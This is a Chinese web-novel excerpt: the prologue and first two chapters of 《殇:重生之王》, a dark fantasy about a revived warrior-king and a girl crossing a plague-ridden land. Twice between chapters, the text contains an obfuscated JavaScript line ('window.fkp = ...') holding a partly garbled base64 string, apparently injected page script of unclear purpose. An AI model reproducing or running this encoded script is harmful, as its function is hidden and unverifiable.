《殇:重生之王》 序章 故事的开始 在名为“创世纪”的造物运动之后,宇宙中的高等造物者文明创造了数百颗以地球之名为编号的生命行星,并派出德高望重的世嘉工程师们去观测那些行星。名为“月”的掩体哨站,成了这些工程师们最佳的观测点。这里既可以做到不被行星上的文明所发现,又可以做到安全地观察这些文明的一生。为了收集足够的文明观察数据,这些观察者制造了大量的巨械用于从各个方面观察以及保护这些星球上的弱小文明。 在一颗名为“地球81号”的星球刚刚诞生,表面的火衣裳还未完全脱去。这时的“地球81号”,还是蛮荒与混沌的状态。这里到处都是喷涌的岩浆与致命的蒸汽,整个天空被岩浆散发出的炎光给染成了赤色;炽热的阳光无情地炙烤着这个星球的表面,再伴随着地表的剧烈震动,将一副新生与末日交汇的景象呈现在了宇宙面前。整个星球毫无生气可言,它的新生既是希望又是绝望。这景象直到一位高级世嘉工程师向这里播撒了几颗种子,为这里带来了大量的固态水与一层薄薄的大气,才悄悄隐去。 从冥古宙开始,无数神级的生物被工匠所制造出来,用于满足工匠对生命的种种幻想。工匠为它们定义了等级,从高到低分别是:冥古上神,恒律太玄,天河七星,元古圣贤,古州之子。不过很可惜,它们的存在只有一瞬,没过几千年就便消亡大半。 当时钟指到了十二点时,属于生命的正午到来了。一列搭载着时代与生机的列车缓缓驶进了站,为这个星球带来了新的希望。新的时代开始,快速的地质变迁带来了无数座山峰、无数条河流、以及无数块陆地。星球地表的变迁似上帝在洗牌一样,一切都是那么朦胧,那么变化莫测。 变化过后,整个世界被一片洋给一分为二,形成了左小右大的世界格局。这个世界的东边,是一片很大的岛屿群,岛屿群之中有着很多的岛屿。在时间洪流的冲击下之下,这些岛屿之上出现了文明与国度;每个国家都有各自的特色,可谓是文化的百花齐放。这些国度在一个个春秋之后,由弱小走向了强大。虽然过程之中爆发了无数场战争,但这些国家最后总归都进入了和平的盛世。两百年后的一天,一艘巨大的战舰慢慢驶入了这里,一群来访者抵达了这里。这里的原住民们用善意对待这些外来者,可换来的,却是这群来访者的炮火。他们是殖民者。 没过几天,一支声势浩荡的舰队就抵达了这里,为这些岛屿上的国家带来了战火,为这里的人民带来了灾难。 他们烧杀抢掠无恶不作,仗着手里有枪就大肆掠夺财富,完全视这座岛上的居民为奴隶,视他们的财产为应被抢之物。他们所经之处,尽是破损的城市与遍地的战火。 似乎是殖民者的行为触怒到了老天爷,在他们的侵略进行到第二个月的时候,一个奇迹出现在了这个世界上。 那时是其中一个国家城堡崩塌的瞬间,一个名为殇的人彻底无法容忍这样的暴行继续下去了了。他曾目睹了自己祖国的破灭、目睹了自己的战友变成了一具具死尸、目睹了他的妻子与孩子被活活烧死、目睹了养育自己的父母被殖民者无情地杀死。他决心要为每一个死在殖民者手下的人报仇。 “我要让这些该死的入侵者为了他们的行为血债血偿。” 他组织了一伙人去阻击了这些殖民者,虽然这些人不多,但是也足够了。他带领这些人重创了殖民者,让岛上所有人的人看到希望。但好景不长,他在一天晚上遭到了同伴之中的内鬼刺杀。虽然他后来反杀了内鬼,但是他已经无法在战斗下去了。大战在即,他这个指挥官收到了严重的伤,他没办法指挥士兵了。就在他即将放弃希望的时候,他想到了密林之中的炼金师,他认为那些炼金术师一定能救自己,所有他冒着在路上就流血致死的风险去找到了炼金师。在炼金师的帮助下,他的伤很快痊愈了。当他满心欢喜地回去时才惊恐地发现自己手下的所有人都战死在了战场之上,他被那些殖民者给算计了。他没有放弃希望,他拿起了地上的剑,向着最近的国度走去。后来他重新组织了一批士兵,准备对殖民者发起第二次进攻。 “我不会让任何人失望的!” 后来他与殖民者打了许多场战斗,殖民者是节节败退,根本没有还手的余地。后来他带领士兵对这些殖民者来了一次屠杀,让这些殖民者夹着尾巴带着伤灰溜溜地跑了,据说那些殖民者只剩下了三个人。 在那之后,他......成为了人们的英雄,成为了国王。他没有自己重新创造一个国家,而是一手复原了他的祖国,并给他的祖国改名为殇王国。其他岛的王国自愿成为了殇王国的附属国,同时每个国家都为殇王国准备了一份大礼。这位国王并没有收下这份礼物,他只是给予了其他国家的人一个自信的笑容。 ...... 后来,一场大疫病爆发了。许多无辜的人死在了这场疫病之中,因此岛屿群中的所有国家展开了针对疫病的对策,试图阻止疫病继续传染。后来所有人都知道了一个毛骨悚然的事,就是这些死去的人并没有就此完全死去,而是在死后不久变成了活死人。这些活死人有着攻击性,他们会攻击周围没有感染疫病的人,并将疫病传染给他们。殇王国的国王随后下达了一个惊人的决定,这个决定让所有人都感到了惊讶。 “把感染人数占比最多的西玲国、遗国、神国与青兰国划为无人区,禁止任何人进入以及离开那里。” 这个决定让那些国家的人感到了不满,但是令人毛骨悚然的事实就在眼前,其他国家的人只能照做,不然疫病肯定会造成大面积的感染。即使这样,疫病的感染依旧没有停下...... 许久之后,有四个国家被划分为了危险区,这四个国家的人虽然很不满,但是总比进入无人区要强。靠近这个区域的三个国家被设为了地平区,是生活在安全之中的地区。在地平区的内部是最安全的穹顶区,穹顶区之中的三个国家都靠近中心的殇王国,所以这三个国家被放在了穹顶区之中。这样的分配很不公平,但每个人也无可奈何,事实就摆在眼前。 就在所有人绝望之时,一个没有名字的炼金师为所有人带来了一个叫做核心细胞药水的东西,这个东西可以有效减缓疫病,而且制作起来还很简单,几乎人人都可以买得起。但是这种药只会延长病人的存活时间,并不会完全治好这疫病。人民知道真相后并没有失望,而是给予了这位炼金师勇气与鼓励。这位炼金师知道人民的愿望后,投入了最大的人力与物力来研究真正解决疫病的办法。但是很可惜,他研究了一辈子都没研究出来可以完全治愈疫病的药,这个消息让所有人都很失望,所有人都觉得末日已经到来了。但是他这一辈子不是白费的,一种叫做Emd的装置被他研发出来了,这个东西可以通过转换能量的方式来治好疫病,只不过这个东西的价格太贵了,压根是平民攒一辈子钱都买不起的那种。炼金师的儿子与女儿在这之后接过自己父亲的接力棒,继续为了人民的未来而研究。从那以后,人们就再也没见过那他们...... 在许多年之后,绝望已经笼罩了这里。无能的皇帝,看不到未来的道路,无尽的黑暗,永远买不起的Emd,永远不可能被治好的疫病。这些听起来就很头疼的东西一直笼罩着这些岛屿之上,让所有人都放弃了希望。本来炼金师研究出来和核心细胞药水还能为所有人带来一点希望,可是在炼金师逝世之后,他的儿子窃取了这一结晶,并展开了技术垄断,让这种曾经人人都买得起的药水变得很贵,这让那些贫苦的人们彻底失去了希望。有人提出过逃离这里,可是他们连港口都没出就被这该死的疫病给折磨死了。如果有人说说这里还有希望,那么这人一定是脑子抽了......吗? window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 西玲国—第一话:奇遇与开始 死亡的疫病肆虐着这片土地,绝望的气息充斥在这片土地,无数的尸骨与变异的恐怖生物在这片土地之上游走着,他们在这片土地之上寻找着还有一丝生气的生命,一旦他们找到了,那个生命就会成为他们的食物。无能的国王,堆积如山的尸体,无数绝望之中挣扎的人,仍旧执行命令的机器,腐朽的王国,这些,无不是地狱的恐怖景象。 此时在一处已经荒废许久的高塔之下,一个刚死去不久的人刚刚被一把生锈的闸刀砍下了头。他是这里为数不多的活人,也是这里唯一一个坚信希望的人。上帝没有眷顾他,他还是死去了,带着心中的希望死去了。寒冷的风吹过了高塔之下,这具被砍下了头的尸体在风中微微颤动着,这周围很是安静,只有风声与风吹铁链的声音...... ???: “这他妈是哪里?我是谁?我在哪里?为什么我什么都看不见?” 周遭很是安静,没有一点声音。 ???: “等等,是一具尸体!太好了,可算找到宿主了。” 一个只有网球大小的金属球滚到了这具还新鲜的尸体旁边,它用撞击的方式撞倒了这具尸体,尸体倒下了。过了一会,这个尸体站了起来。 ???: “等等,为什么我还是什么都看不见?” 这个尸体摸了摸头,发现自己没有头。 ???: “操!这家伙没头!可恶啊......看看这家伙的头在哪里吧。” 这具尸体趴在地面上寻找这个尸体的头,他摸了一圈,发现头并不在他的周围。于是他开始在地面上爬行,边爬边寻找自己的头。他找了一会,终于找到了自己的头。他高高兴兴地站了起来,拿起地上的头就扣在了自己的脖子上。他看到东西了,只不过他看到是自己的后背。 ???: “怎么回事?” 他反应了一会,才明白怎么回事。 “看来我的头装反了。” 这具尸体转了一下自己的头,他的头在他的努力下转到了前面。他看了看周围,发现周围只有一个破败的高塔以及周围枯萎的树木。寒冷刺骨的风吹过了他的身体,令人恐惧的寂静与黑暗笼罩在他的周围。一阵冷风袭来,他突然打了个喷嚏。 “啊嗛!” ???: “这地方太冷了,跟阴间似的。还好我的一级核心可以保护我不会冻死,不然死在这种地方可太亏了。” 他的说话声吸引了这周围的猎杀者,许多瘦弱似骨的绿色变异人类缓缓靠近着他。他看了看周围正在靠近的变异生物,他没有一丝害怕,反倒想笑。 ???: “就这种杂种绿毛怪也敢靠近我?我可是......等等,我是谁来着?我好像叫殇吧......管他呢,反正老子是这些杂种的大爷!手撕他们不是问题。” 这些绿毛怪对他露出了獠牙,试图吓到他,但是他无所畏惧。这些绿毛怪对他发起了进攻,他左躲右闪躲开了所有攻击,他握紧双拳,连续三个冲击拳把三个绿毛怪的头骨打碎了。鲜血飞溅到他的脸上,但他没有在意,绿毛怪倒下了,他只是像跨过石头一样跨过了他们的尸体。他的眼神之中有着杀意,这种杀意极其强大,这让这些猎杀人类的绿毛怪吓得开始颤抖。 殇: “哟!你们不是很能耐吗?来呀,让我见识一下你们的实力!” 这些绿毛怪没有选择进攻,而是虎视眈眈地看着他。他握着双拳走向了这些绿毛怪,这些绿毛怪不敢向前一步,只能往后退。此时绿毛怪的同伴增援了过来,这让这些绿毛怪士气大增,他们称一个圈包围了他,准备用他们对付其他人的战术来对付他。这些绿毛怪个个青筋暴起,他们的爪子死死地抓着地面,他们露出了极其愤怒的表情,准备好了下一秒就撕碎眼前的敌人。 殇: “怎么?打不过就叫人了?既然你们一起来了,那我就勉为其难一起都杀光吧。” 这些绿毛怪一起向着他飞扑了过去,它们张牙舞爪的方式让他笑了笑。他很冷静地握紧了双拳,他快速计算好每个绿毛怪的运行轨迹,防止有幸存者出现。就在这些绿毛怪即将碰到他的时候,它们突然意识到了什么,它们本来犀利的眼神变得惶恐起来,那是死亡的气息,那是死神对它们的宣判。 殇: “隼之冲刺。” 他一拳打在了离他最近的绿毛怪脸上,接着以极快的速度左一拳右一拳地冲出了包围。就在那一瞬间之后,那些绿毛怪都趴在地上一动不动。他没有回头,径直离开了这里。 殇: “就这吗?你们这种杂种......真是垃圾啊。” 殇笑了笑,他嘲笑那些试图攻击他的绿毛怪是脑瘫。他突然意识到了什么,他又笑了笑,这次他是嘲笑自己,因为他才想起来那些绿毛怪实际上就是脑瘫,嘲笑脑瘫的人只能是弱者而不是强者。 他沿着森林之中的小路走去,他此时有些饿了,他想找些东西吃,同时天色也不早了,他得找一个地方睡觉。他看了看小路两旁枯萎的树木,它们连树叶都没有,只有已经腐朽的躯体,它们不再健康,从内部开始腐化与瓦解,它们仿佛也得了一场疫病。 殇: “这些树跟真惨了,不仅连树叶都没了,就连仅剩的躯壳也在内部慢慢腐化,就跟......某个王国似的。——哎......究竟是为什么呢?” 殇继续在小路上走着,他迈着大步很是悠闲,他能感觉到这些树木之后那一双双虎视眈眈的眼睛在看着自己,但是他一点都不怕,因为......谁来谁死。远处传来了许多声敲钟的声音与吹笛子的声音,他静静地边走边听,他感觉到了这片绝望之地仅有的一丝美好了。此时他看到了近处的一间三层楼高的房子,这栋房子看起来好像废弃许久了,也许他找到了今天晚上的歇脚地点了。 殇: “哦?有房子。它竟然没有坏!人间奇迹啊!” 他打量了这栋屋子一番。 “看样子荒废许久了,但是没什么关系,只要能保证晚上可以安稳睡一觉就行。” 他大摇大摆地走进了这栋房子,然后开始搜刮。屋内只有许多没用的书籍与凌乱的地面,其他什么有用的东西都没有。不过他还是有意外收获的,他在三楼找到了一把断掉的长剑,看样子还可以用上很久。他拿起这把剑打量了一番...... 殇: “哟!看上去真不错,虽然断了,但是起码能用。如果说这里只有那些绿毛怪,那么他们看到我拿着这把断剑后肯定会吓得魂飞魄散吧!——哈哈哈,想想就很激动。” 这时一阵剧痛从他的腰部袭来,他猛地一转头,他看到了一个拿着匕首的身影。他二话不说一个回旋踢直接踢掉了那人手中的匕首,同时还把那人踹倒在地。 殇: “诶呦卧槽!老子的肾啊!” 那人趁这个机会站起身来就向楼下逃跑,他此时睁开眼睛看了看周围,他注意到了已经消失的那个身影,他立马向着楼下赶去。他明锐的听觉告诉他那个人已经到一楼了,他直接下去是追不上的。 殇: “操!想跑?!问过老子没有!” 他直接走到台阶上一个原地起跳,他跳到空中一个落地猛冲直接震碎了脚下的台阶,接着他又震碎了二楼的台阶,他以极快的速度来到了一楼。那人正在拼命向外跑,那人听到这个他落地的声音后跑得更快了。他落地后晕了半秒,那人趁这个机会成功跑出了这栋房子。他醒过来之后立马下压身体,握紧右拳,一个冲锋直接撞开了这栋房子的大门,顺便还把这面墙给撞碎了,这一下激起了地上尘埃,这些尘埃直接形成了一团尘雾。那人被这一下给震得摔倒在了地上,那人倒在地上之后由于恐惧站不起来了,那人只能无助地倒在地上看着他。 他穿过尘雾,看清了这个袭击者的样子。 她有着一头白色的长发,头发上有着几个发卡。她有着一双颜色跟红宝石差不多一样红的眼睛与洁白的皮肤,一看就是富人区的富家子弟。她外边披着殇王国皇家科学家的大衣,身着一身黑色西装,打着一个黑色的领带,穿着一双黑色的鞋子,胸前还带着一张金色的名片,名片上写着她的大名。 殇: “这会你逃不掉了!等等......你不属于这里!” 殇打量了她一番。 “你这样子......你是穹顶区的人,你怎么会在这里?或者说,是我出幻觉了?不管怎样,你得给我个交代,不然我就让你见阎王。” ???: “求求你不要杀我!我......我以为你是那些......那些怪物。我......我......” 因为害怕,她的眼角不由得流出了饱含恐惧的泪水。 殇: “别哭了......我叫你他妈的别哭!” 她瞬间把眼泪憋了回去。 殇: “说吧,你这个穹顶区的小姑娘怎么会出现在这里。” ???: “我是从殇王国逃出来的。我的叔叔碧蓝苍穹要把我送回那个恐怖的实验室之中。” “哦?碧蓝苍穹那个家伙?亏他是炼金师的儿子。对了,他把你抓回去是为了什么?” “他说我身体里有个很重要的东西,可以卖钱,而且这个东西还不能在现在取出,只能等一周之后才能取出。我为了逃命,就被迫来到来到了这里。” “哦,原来如此。对了,你叫什么名字?” “我叫伊。” 殇: “伊?是个好名字......这名字跟一个人好像啊,那人好像叫伊娜。” 殇敏锐的眼光看出了些什么。 “嘶......你长得跟她好像啊,你是不是她的女儿啊?” 伊不安地看向一旁,说: “不,我不是。我们两个只是长得像而已。” 殇: “嗯......既然你捅了老子的肾,那么你就得为你的行为付出代价。” 伊的眼睛瞪大了,她的脑中快速地闪过了无数种令她恐怖的画面,她此时重新感到了恐惧。 伊: “(害怕)你......你......你想做什么?” 殇: “那么紧张干什么?我又不是人贩子。我决定了,你以后......等等,你会什么?” 伊: “我......我会写字,我会......画画,我会......” 殇: “够了!你会写字与画画,所以你以后就当我的小跟班吧。你以后就负责帮我画地图吧,不然我这个老路痴容易迷路。” 伊勉为其难地答应道: “好吧。” 殇对伊伸出了手。伊有些害羞,她的眼神逃避似的往周围飘了几下。殇有些不耐烦,大声说道: “他妈的快点!” 伊听到这话直接拉着殇的手站了起来,她可不想惹眼前这个惹不起的大哥生气。在把伊拉起来之后,殇不自觉地咬了咬牙,他正在忍着来自伤口的疼痛。 殇: “既然你做了我的跟班,那我就得给你提点要求。你给我记好了,我不会说第二次。只要你敢违反我定的规则,我就会揍你。” 殇咳嗽两声,郑重地说: “第一,你得要可以保护自己。第二,你得听我的话。第三,你得够强。第四,没我的允许不准乱碰东西,尤其是那些EcL。第五,叫老子的大名,不许用人称代词。知道了吗?” 伊点了点头,说: “知道了。” 殇: “记住老子的名字,老子叫殇。” “知道了,殇。” “记住了,跟好我。有啥事叫我一声,不许自己私下处理,除了你的那些麻烦事以外。” “知道了。” 殇再次打量了她一番。紧接着,殇摇了摇头,说: “我看你这个小姑娘这么瘦弱,你肯定得好好训练一下,不然你练那些丢人的绿毛怪都打不过。” 伊好奇地问道: “训练?我得训练到什么样才行呢?” 殇指了指最近的那棵树。 殇: “你去用拳头给我用力打这棵树,检测一下你的实力,你可以使用核心的力量,如果说你有的话。” 伊走到了这棵树面前,她很紧张地看了看眼前这棵树,她咽了咽口水,握紧自己的拳头,装作很有力量地摆好了架势。 伊心中: “我可以的,我一定可以证明自己的。” 伊用尽自己全部的力气一拳打在了这棵树上,这颗数只是颤动了一下,压根没受到任何实质性的伤害。伊抽出自己那只打在树上的拳头,这一下很疼,她的那只手直接肿了起来。她疼得流出了眼泪,她用手捂着那只肿起来的手。 伊委婉地说: “疼......太疼了。很抱歉,我尽力了。” 她说出这句话时带着哭腔,哭腔中还有着几分歉意。殇见了,摇了摇头,然后他大摇大摆地走到了这棵树旁边,撸起袖子,告诉她: “看好了,这是你需要达到的水准。” 殇一拳打在了这棵树上,这棵树剧烈颤动,殇这一拳在这棵树上留下了一个坑。伊一脸难以置信地看着树上的坑,她这辈子没见过可以做到如此境界的人。打完这一拳,殇一脸平淡地说: “这是你要达到的。看在你是女生的份上,你可以使用武器,只要可以创造出这么一个坑,你就真的算是可以在这个世界之中活下去的存在了。” 殇走到了另一颗树旁边,用手拍了拍这棵树。殇郑重地告诉她: “看好了,这是我的实力。” 殇一拳打在了这棵树上,这棵树直接被殇打出了一个巨大的窟窿,这个窟窿的大小有三个头的大小。伊看到之后整个人都傻了,她这辈子还没见过拥有这种力气的人。 殇: “记住我的一句话。你必须变得强大,你必须变得坚强。只有这样,你才能保护得了你所珍视的一切。” 伊急忙点头回应道: “知道了。” 殇: “以后再训练你,现在是该吃晚饭的时候了。对了,你知道最近有没有村庄什么的?” 伊摇摇头,委婉地说: “很抱歉,我不知道。” 殇看了看周围,他看到了许多的巨大蘑菇。他觉得烤蘑菇很不错,毕竟在这个环境之中有吃的就很不错了。 殇: “今晚就在这里过夜了。你去捡些柴火,我去采集些食物。然后今天就这么过去吧。” 伊: “好。” 伊去周围捡柴火,殇去周围捡蘑菇。由于伊的手肿了一只,所以她捡的柴火只能搂在怀里,虽然她不想这样做,但是她为了自己的安全必须得这么做。 伊心想: “只能委屈一下我的衣服了,活着总比这身衣服重要。” 伊很快捡了一把大把柴火,她抱着这些柴火走到了刚刚采完蘑菇的殇旁边。 伊: “殇,我捡完柴火了。” 殇: “哦。你来的正好,正好我刚刚收集完食物,你就把柴火放在地上吧。然后你去那栋房子里找点有用的东西,我在这里准备一下晚饭。” “好。” 殇自己一个用断剑切下了许多树枝,接着用断剑将树枝全都削成了木签子。他一个一个地把这些蘑菇穿成了串,他把这些串都立着放在了树旁边,然后他开始生火。过了一会,他做好了一个火堆,一团火焰正在火堆之中燃烧,温暖的光从火堆之中出现。他见此自豪地点了点头,他抬头看了看天,发现现在已经是黄昏时分了。 殇大喊: “喂!别找了,出来吃饭吧。” 伊: “知道了。” 伊抱着一个医疗箱与一把铁质短剑从这栋被开了个大洞的房子中跑了出来,她那只肿着的手缠着两圈绷带,一看她就在里面包扎过了自己的手。 伊: “殇,我在这栋房子里找打了一把短剑与一个医疗箱,这些东西一定可以帮助我们的。” 伊顿了一下,她的神情中透露出惭愧来。她说: “而且我不是捅了你一刀吗?正好用医疗箱可以治疗你的伤口。真是抱歉,我不该那么做的......” 殇一听她这么说,顿时觉得伤口也没那么疼了。殇说: “行吧,你也算是戴罪立功了。先过来吃点烤蘑菇吧,我这伤到时候我自己处理。” “知道了。” 伊放下了手中的短剑与医疗箱,她走到火堆旁边,她拿起了一根蘑菇串,把这根蘑菇串放在了篝火上烤。就这样,殇和伊围坐在火堆旁吃起了这些烤蘑菇。伊虽然是城里来的人,但是吃起东西来却一点不挑剔,压根就没有城里人的那种挑食的习惯。 殇见了,问道: “对了,伊,你竟然没有挑剔这些食物。” 伊回答道: “我为什么要挑剔?现在能有一口吃的已经很不错了。” “你这一点起码还是比较好的,起码不挑食,这样我方便养活......不,这样方便你活下去。” “对了,殇,请问你来自哪里?” “额......我也忘记了。” 伊的眼睛突然变成了金色,她凝视着殇,她从殇身上看出了什么东西。伊问殇: “你也是EcL吧。” 殇回答道: “嗯......看样子你有些特殊的能力啊!你竟然知道......那么你也是喽?” “没错。我的编号是EcL-99,你呢?” “我这也算是后来者,顶多也就是EcL-185。” “我们先不聊这个。我能问两个问题吗?” “问吧。” “你的目的地是哪里?你的目的又是什么?” 殇思考了一会,然后说道: “我的目的地是殇王国的王座之间,我的目的是宰了国王。如果说你怕被我连累的话,我们就在无人区外面分道扬镳。” 伊微笑而坦然地说: “我的目的地也是王座之间,只不过我的目的是在那里播种光明。正好我们两个有一样的目的地可去,那么我就跟着你一起去王座之间吧,这样你可以帮我阻止国王,我也可以顺便播种光明。” “对了,你说的播种光明是个什么鸟东西?” “那是一个计划,而我是实现这个计划的人。我要寻找一个叫做光明能量与光明种子的东西,只有找齐了这些东西,我才可以开启治疗一起的光之森林。” “听起来是一个很好的计划,你确定你可以做到吗?” “我确定。” 在吃完晚饭之后,伊和殇开始讨论住处的问题。现在那栋房子的一楼根本没办法住人,因为一楼已经被殇毁了一半。现在能住人的只有三楼和二楼,三楼有一个没有被子的小床,只能给一个人睡,二楼只有一堆书籍,要睡只能在书本中睡觉。 殇: “你是女生,你就去三楼吧,我去楼下放风,防止有那些绿毛怪来偷袭我们。” 伊: “不,不用了。我还是在二楼吧,我觉得在书本中睡觉没什么的。而且你还是伤员,虽然我也是伤员,但是你受的伤会致命的,你必须好好休息。所以,殇,你住在三楼吧。” 殇: “好吧,既然你说不愿意住,那我就恭敬不如从命了。” 到了晚上,伊靠着二楼的书架蜷缩着身体准备入睡,她此时想到了很多东西,她想起了那句忠告,想起了自己的叔叔,想起了城市之中温暖的大床。她也想去三楼,可是她认为去三楼会惹怒殇,因为她现在只能讨好这个殇才能够活下去,所以她为了生命考虑只能选择住二楼。 伊: “没什么的。只要能活着,我就满足了。只要活着,我就能看到明天的太阳,我就有机会找到光之种子,我就有机会拯救大家......” 伊说着说着很快睡着了。过了一会,殇来到了二楼,他看着伊摇了摇头。他走到了伊的身旁,他抱着伊上到了三楼。他把伊放在了那张自己压根就没碰过的小床上,他转身下到一楼打开自己找到的衣柜,他拿出了一剑较厚的大衣,他把这件大衣盖在了伊的身上充当被子。 殇小声嘀咕道: “我这个大男人怎么能委屈一个女人呢?” 殇拿起那把短剑,隐约想起了什么。 “说实话这种感觉似曾相识,好像我以前有过这种感觉。不管了,先去楼下放风吧” 殇来到了一楼,正好这时候赶上了那些绿毛怪与很稀有的红毛怪集体出来觅食,许多怪物虎视眈眈地看着殇。殇握紧了手中短剑,然后他启动了自己体内的核心。 殇: “猎杀时间到了,该提升提升使用核心的熟练度以及自己的情感等级了。顺便......通过核心的学习功能学一点技巧。” 殇拿着手中的短剑冲向了这些怪物,他的行为吓了这些怪物一跳,它们从未见过如此勇敢的猎物。或者说,它们才是猎物。殇一剑一个地开始对着这些怪物进行屠杀,这些怪物即使再强壮,即使再英勇,都是抵不过殇手中无情的利刃。在一轮屠杀之后,一群有些不一样的绿毛怪走向了殇,殇这次没有用剑砍它们,而是用手做了个特殊的手势。 殇: “怪物中的收尸人们,开饭了。” 这些不一样的绿毛怪似乎像是听懂了殇说的话似的点了点头,然后它们叼着这些怪物的尸体离开了这里。 ...... 此时,在一个十分隐秘的地方,一个白发老者看着面前缓缓转动的时钟,正沉思着。这位老者的眼中有光。绝望与希望纵横在现在这一时刻,他在等待希望降临。 宙级洪流-海耀星: “日复一日,年复一年。我重置了时间许多次,每五天就重置一天,我让时间以五分之一的速度流逝,我试着让这场疫病尽可能少的带走我们无辜的人民。八年了,我重置时间八年了,但是我所忍受的孤独是四十年。我的王啊,你能如愿找到所谓拯救人民的办法吗?亦或者说,你只是在为你的无能找借口罢了。无论如何,我都相信着你,因为你曾经拯救过我们,我相信你可以再次拯救我们每个人的。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 西玲国—第二话:密林奇遇 第二天早上,伊缓缓睁开了眼睛,她坐起来伸了个懒腰,然后看了看周围。此时她突然意识到自己在床上,而且身上还盖着一件大衣。见此,伊疑惑地说: “诶?我......我怎么......在床上?我不是靠着书架睡着了吗?” 伊从床上下来了,她思考了一会,然后她披上了床上的大衣。此刻一阵寒风吹进屋内,伊本能的哆嗦了一下,她感觉到今天的气温不是很高。她打了个喷嚏,她流出了鼻涕,她想去擦,但是她发现没有可用的纸。 “为什么这个地方没有卫生纸。” 这时,她注意到了地上的一本书。 “没办法,只能用书解决了。” 她拿起地上的书,挑了一页,撕下来当做手纸,她擦了擦自己的鼻涕。擦完鼻涕后她找了个像垃圾桶的东西,把擦鼻涕的纸扔了进去,然后转头下楼了。她来到二楼看了看,发现殇并不在二楼。她下到了一楼,她看到了正在靠着墙睡觉的殇,殇手中还握着一把染血的短剑,身上还有着许多血迹,仿佛经历了一场大战。伊看到殇后向着殇走了一步,她走的这一步让殇直接从睡梦中惊醒,他站起来拿起短剑很警惕地看了看周围,在确认没有怪物之后殇松了一口气。 伊很感激殇,于是笑颜答谢道: “谢谢你......殇。” 殇此时注意到了醒过来的伊。 殇: “你醒了......怎么样睡得怎么样?” 伊: “挺好的。对了,你为什么要把我搬到三楼的床上。” 殇想了一想,随即撒了一个善意的谎言。他告诉伊: “我昨天晚上出去处理绿毛怪了,等我处理完之后你就跟梦游似的走到了三楼,直接躺在了床上。我也不好意思半夜叫醒你,干脆就换了个地方住。” 伊听了,有些愧疚的说: “原来是这样啊......很抱歉,我不该抢了你住的位置的。” “没事,我住哪里都一样。反正想我这样的卑微战士,怎么冻都冻不死的。” “无论如何......谢谢你。” 这时,殇突然想到自己和伊还未吃早饭,于是就问伊: “对了,你饿了没?” “说实话,我有一点饿。” “你可以忍一会吗?” “可以。” “我们两个先向着最近的地方赶一段路,然后我们就找个合适的地方歇脚,到时候我再给你做早饭。” “行。” 殇把手中的短剑给了伊,他让伊用这个自保,之后他就带着伊沿着小道寻找前往森林之外的道路。他们两个走了一会,周围的树木依旧如以往一样多,他们两个都有些饿了,尤其是伊,她已经饿的肚子咕咕叫了,但她依旧坚挺着,该走的路她从未少走过。 ???: “诶呦,小姑娘你好啊。” 此时一个黑色的身影突然出现在伊的身后,这个身影拍了拍伊的肩膀。伊和殇听到身影转头看去,她们看到了一个充满气质的女人正在她们身后站着。 她外面披着一件做工精致深灰色大衣,这件大衣上面纹着金边,而且还有着一层羽绒,一看就是价值不菲的造物。身穿一身做工精致的紫色的长袍,长袍的底部正好接触地面,看来这件长袍是专门为她打造的。她的耳朵上戴着一个只有戒指大小的耳环,耳环上还镶嵌着一颗绿色的宝石。她有着一头黑色的短发,一身洁白的皮肤,一双黑色的眼睛,以及特意为了好看而弄出来的斜刘海。 她用一只手温柔地拖着伊的下巴,以看待一个孩子的眼神去看待眼前的伊。她能从伊的眼神之中看出一些特殊的东西,伊也能从她的眼神之中看出一些特殊的东西。 殇: “喂,你是谁啊?” ???: “嗯?嗯......你好,我是肃清者,是来这里跟你说说话的。” 她露出阴森的微笑来。 “顺带看一看这位可爱的‘孩子’。” 殇很不屑地说: “肃清者?真是个酷炫的名字啊。有这名字的你算老几啊?” 肃清者: “你......好吧,你这个老粗竟然不认识我。” 肃清者把一只手放在伊的头上,然后反复摸伊的头。 殇: “老粗?那我问你个问题,哪个人可以保护你这个手无寸铁的女人?说出来,看看我认不认识。” 肃清者: “国王,殇殿下。” 一听这名字,殇吓了一大跳。殇很惊讶地说: “什......什么?你说的是殇王国的国王?” 肃清者回答道: “没错。” 这时肃清者阴起脸来,问道: “现在我问你个问题,你算老几啊?” 殇急忙改口,说: “很抱歉啊,说错话了。您是我大姐,您厉害。” 伊: “姐姐,你可以别摸我的头了吗?” 肃清者: “哦,差点把你忘了,小可爱。” 肃清者把手抽了回来,停止了她的行为。 肃清者: “对了,你也叫殇吧。跟我爸爸是一个名字。” 殇: “没错,我是。” “我的爸爸在王座之间等你,希望你可以如约而至,别死在路上了。” “知道了,像我这样的人,一般死不了。” “那就好。” 肃清者拿出了一个很大的符文,她把这块符文扔在了地上,这块符文在落地后发出了耀眼的黄色光芒。肃清者让殇吸收这个符文,殇照做了。他用核心吸收了这块符文,然后他的核心拥有了两个新的能力,一个是制造Emw和EmA,另一个是自动记录与分析EcL。 肃清者笑着向殇告别道: “我们还会再见的,殇。” 殇心想: “完蛋,以后还要遇到这个难缠的家伙,到时候又得恭恭敬敬的。我想骂她,但还不敢骂。算了心里骂一骂爽一爽就行了。你这个......” 肃清者的脸色瞬间改变了,这让殇瞬间紧张起来了。 肃清者露出阴森的笑容,说: “我会一直观察你的......” 五道黄色的闪电包裹住了肃清者,空间在这一瞬间扭曲,怪异的能量能量出现在周围的空间,一阵耀眼的光芒之后,她消失了。殇和伊都很惊讶,他们从未见过这种场面,他们两个都感觉到了一种莫名的恐惧,那是一种来自心灵深处的恐惧。 伊: “还好这位大姐姐没杀我们。” 殇: “对啊,幸好她没杀我们。不然我们两个今天都得死在这里。” “话说,那个大姐姐为什么要观察你呢?” “也许是因为我对于他们有什么特殊的价值吧。” “我们以后要小心一点了,我老感觉这位大姐姐可能在哪天就攻击我们了。” “那我们得需要提防点她了。” 